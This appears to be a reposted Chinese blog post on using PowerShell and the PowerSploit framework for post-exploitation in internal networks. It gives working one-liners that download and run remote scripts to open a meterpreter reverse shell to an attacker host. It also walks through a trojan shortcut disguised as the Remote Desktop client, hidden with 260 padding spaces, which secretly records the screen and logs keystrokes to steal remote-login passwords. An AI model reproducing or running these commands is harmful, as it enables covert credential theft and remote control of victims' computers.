Powershell在内网渗透中的利用

来源:互联网 发布:idea java工程 编辑:程序博客网 时间:2024/06/08 19:58

Powershell作为CMD的增强版,因为其可以直接调用.Net及COM对象而实现许多CMD无法实现的功能,所以在Windows在使用Powershell成为了更多人的首选,同时也吸引了黑客,各种花式调用在内网渗透中。借鉴网上各种资料,记录总结一下。

Powershell作为后渗透的工具,使用之前确保已经获得了内网主机的权限,我们使用它来记录当前电脑的操作来获取相关密码。

一. PowerSploit

首先介绍一下国外大牛制作的Powershell渗透工具PowerSploit(Github),官方简介:PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts。
这个框架里面包含了很多ps1文件(powershell脚本),使用方法为远程下载到被攻击机内运行。

  • 安装方法
    我们在Linux下首先clone这个git:
git clone https://github.com/PowerShellMafia/PowerSploit.git

然后将clone下的文件放入保证被攻击机能够访问的机器上面,这里我们采用本机,在本机搭建apache环境,将文件放入/var/www/html目录下即可。
开启apache服务:

service apache2 start

网站目录结构如下:
这里写图片描述

  • Powersploit模块简介
    CodeExecution 在目标主机执行代码
    ScriptModification 在目标主机上创建或修改脚本
    Persistence 后门脚本(持久性控制)
    AntivirusBypass 发现杀软查杀特征
    Exfiltration 目标主机上的信息搜集工具
    Mayhem 蓝屏等破坏性脚本
    Recon 以目标主机为跳板进行内网信息侦查

  • 使用方法
    在远程主机上powershell窗口调用命令:

IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecution/Invoke--Shellcode.ps1");Invoke-Shellcode -Payload windows/meterpreter/reverse_https –Lhost IP_Address -Lport 4444 -Force

第一句的含义就是创建.Net对象WebClient下载远程ps1文件并执行,这个代码里面包含了Invoke–Shellcode函数的定义,通过help命令可以查看该函数的详细使用方法。
这里写图片描述
第二句的含义就是调用该函数进行相应的攻击操作。

更多功能模块可以自行发掘或者参阅github。

二. 实际攻击案例

新建快捷方式,设置目标路径为:

C:\Windows\System32\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("powershell c:\windows\system32\mstsc.exe IEX (New-Object Net.WebClient).DownloadString("IP_Address/rlink.ps1")",0,true);self.close();

这个快捷方式的功能就是运行mstsc程序同时下载rlink.ps1文件执行。为了避免被发现,最后在程序名和参数之间添加一个260个空白字符,这样可以避免在快捷方式上右键属性被发现异常。
这里写图片描述
然后设置远程连接的图标,伪造成合法的mstsc程序,将这个快捷方式想办法放到被攻击机上面,等待用户点击。

rlink.ps1文件内容如下:

psr.exe /start /gui 0 /output C:\Windows\Temp\cap.zipIEX (New-Object Net.WebClient).DownloadString('IP_Address/PowerSploit/Exfiltration/Get-Keystrokes.ps1')Get-Keystrokes -LogPath C:\Windows\Temp\log.dllStart-Sleep -s 30psr.exe /stop(Get-Runspace 2).close()IEX (New-Object System.Net.WebClient).DownloadString("IP_Address/PowerSploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 9999 -force

功能就是利用psr程序记录电脑操作行为,下载PowerSploit两个脚本分别用来记录键盘操作和建立反弹连接的,1分钟后停止记录,攻击者可以连接上被攻击机拿到记录的日志。这样在用户启动的mstsc的同时启动了记录器,有很大概率情况下记录了用户远程连接的用户名和密码,因此攻击者成功的窃取到了这些信息。

参考资料:

https://www.anquanke.com/subject/id/89428
http://bobao.360.cn/learning/detail/4360.html
http://www.freebuf.com/sectool/131275.html

原创粉丝点击